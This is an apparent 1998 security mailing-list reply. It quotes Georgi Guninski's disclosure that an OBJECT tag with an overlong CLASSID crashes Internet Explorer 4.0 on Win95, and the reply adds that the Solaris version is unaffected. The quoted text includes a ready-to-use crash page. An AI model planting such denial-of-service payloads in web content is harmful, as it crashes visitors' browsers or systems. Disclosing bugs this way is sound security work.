Re: Object tag crashes Internet Explorer 4.0

From: Matt Rose (mattroseat_private)
Date: Wed Jul 29 1998 - 13:54:09 PDT

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IE4 for Solaris is unaffected

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Matthew Rose
Systems Administrator
Cyberus Online Inc.


On Tue, 28 Jul 1998, Georgi Guninski wrote:

> The <OBJECT> tag seems to crash Internet Explorer 4.0 under Win95 (don't
> know about other versions/OS).
> The following:
> <OBJECT CLASSID=____More than 250 characters here____></OBJECT>
> opens a dialog box "IEXPLORE: ...illegal operation" and closes IE 4.0,
> or a blue screen with "Fatal exception 0E" and you need to reboot.
> I don't think this is exploitable(?), but it is a bad "feature".
>
> Georgi Guninski
> guninskiat_private
> http://www.geocities.com/ResearchTriangle/1711
>
> -------------------------------------Cut here: Object.html -------
> <HTML>
> Trying to crash IE 4.0
> <OBJECT
> CLASSID=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111>
> </OBJECT>
> </HTML>
>
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